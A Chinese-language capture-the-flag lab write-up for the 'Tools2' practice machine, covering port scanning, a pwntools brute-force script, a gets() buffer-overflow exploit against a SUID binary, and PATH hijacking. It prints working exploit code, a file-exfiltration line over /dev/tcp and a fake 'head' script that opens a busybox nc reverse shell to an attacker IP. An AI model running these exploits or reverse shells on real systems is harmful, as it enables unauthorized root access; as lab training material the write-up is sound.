Tools2靶场学习笔记

正文

kali攻击机地址:192.168.67.181

靶场地址:192.168.67.176

一、端口扫描与代码审计

在kali里,使用nmap工具:

bash 复制代码
nmap 192.168.67.176 -p-

访问80端口,代码审计能发现密码:thehackerlabs

针对1337端口,nc连接过去:

看要求,还要写随机数。

二、编写pwn脚本跑随机数

构造一个随机数的脚本:

python 复制代码
from pwn import *
import re

for i in range(1000):
    r = remote("192.168.67.176",1337)
    r.recvuntil(b'Please enter password: ')
    r.sendline(b'thehackerlabs')

    r.recvuntil(b'Please enter a number (1-1000): ')
    r.sendline(b'500')
    a = r.recvall().decode()
    if 'Wrong' not in a:
        print(a)
        break

最后跑出来用户名和密码welcome/vulnyx:

在opt目录下发现可以提权的程序todd:

bash 复制代码
-rwsr-sr-x 1 root root 16952 Jun 16 2025 todd
  • -普通二进制程序(红色文件名,setuid/setgid 标记高亮)

  • 第 4 位 s:Set‑UID 位(SUID)

    • 文件属主是 root,设置 SUID 后:不管哪个普通用户运行这个 todd 程序,进程都会以文件所有者 root 身份执行
  • 第 7 位 s:Set‑GID 位(SGID)

    • 运行时进程使用文件所属组 root 的权限

✨CTF 考点:SUID 提权

普通用户执行./todd,程序运行身份 = root,如果程序有漏洞,就可以拿到 root 权限。

权限拆解:-rw s r‑ s r‑x

  1. 属主权限 rw- + SUID (s) → rw s
  2. 用户组权限 r-- + SGID (s) → r‑ s
  3. 其他用户 r‑x:任何人都可读、可执行

三、文件传输逆向分析todd程序

先分析一下这个todd程序是干什么的,用攻击机接收:

python 复制代码
nc -lp 1234 > todd

靶机上传:

python 复制代码
cat todd > /dev/tcp/192.168.67.181/1234 

四、ida逆向发现todd可劫持命令函数,计算偏移量

用ida 软件打开,对着main函数F5反编译一下:

进入vulnerable()函数 里:

这里可以看出,使用gets函数,会导致栈溢出。

在靶机里,使用pwndbg工具调式,计算一下偏移量。

bash 复制代码
pwndbg todd
r

在攻击机里生成100个数字,测试偏移量

bash 复制代码
msf-pattern_create -l 100

可以看到在靶机里,将字符串Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A写入地址0x7ffeecc7b3a8时,发生栈溢出了。

那我们在攻击机里,计算一下偏移量:

bash 复制代码
msf-pattern_offset -q Ac4A 

证明偏移量是72,那就得生成72个字符A,并生成4字节B:

bash 复制代码
perl -le 'print "A"x72 . "BBBB"' 

生成如下字符:

bash 复制代码
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

五、靶机端口代理出来,编写exp脚本连接上去做路径劫持操作,获取flag。

先在靶机里做一个端口转发:

bash 复制代码
socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/opt/todd,pty,raw,echo=0

再到IDA里,找到todd函数的地址,F5反编译后,空格键,tab键能找到调用todd函数的地址:

编写exp,并在攻击机里运行:

python 复制代码
from pwn import *
import re

r = remote("192.168.31.133",12345)
r.recvuntil(b'Enter password: ')
r.sendline(b'hackmyvm')

junk = b'A' * 72
todd = p64(0x4011B2)

payload = junk + todd

r.sendline(payload)
r.interactive()

可以看到执行了靶机里同目录下的a.txt文件。

所以我们可以在靶机上,去临时目录下做一个自己创造的head程序,骗靶机去执行我们的head。

操作如下:

bash 复制代码
cd /tmp
echo 'busybox nc 192.168.31.188 1234 -e /bin/bash' > head
chmod +x head 
export PATH=/tmp:$PATH
socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/opt/todd,pty,raw,echo=0

攻击机再开一个窗口,监听1234端口:

bash 复制代码
nc -lp 1234
id

成功获取到flag:

相关推荐
海绵宝宝转agent8 小时前
learn-claude-code第1-5章开源学习笔记分享
人工智能·笔记·python·学习
每天都要写算法(努力版)8 小时前
【行业前沿报告】DAgger:让智能体在自己走到的状态上学习
人工智能·学习·机器学习
91刘仁德11 小时前
HTTP协议详解:从URL到HTTP服务器的完整实战
服务器·网络·笔记·网络协议·http
sunshine22 girl12 小时前
Java学习六 Java常见API-2--String-3-字符串的截取替换和其他方法
java·开发语言·学习
sunshine22 girl12 小时前
Java学习六 Java常见API-1-Radom随机数
java·开发语言·学习
Answer1st13 小时前
【嵌入式学习】嵌入式原理知识-DMA(九)
学习
柳鲲鹏13 小时前
老电脑X99安装WIN11 26H2总结、问题解决办法汇总
笔记
传奇开心果编程13 小时前
【ArkUI进阶练中学】第11课:安全与合规进阶
学习·ui·华为·harmonyos
Mr_Macallon15 小时前
C++回顾(基础)(01)
c语言·开发语言·c++·学习
sunoo-22916 小时前
【ARM嵌入式学习笔记第十天】i.MX6ULL eLCDIF控制器驱动RGB LCD全解析(硬件原理+寄存器配置+裸机代码)
arm开发·笔记·学习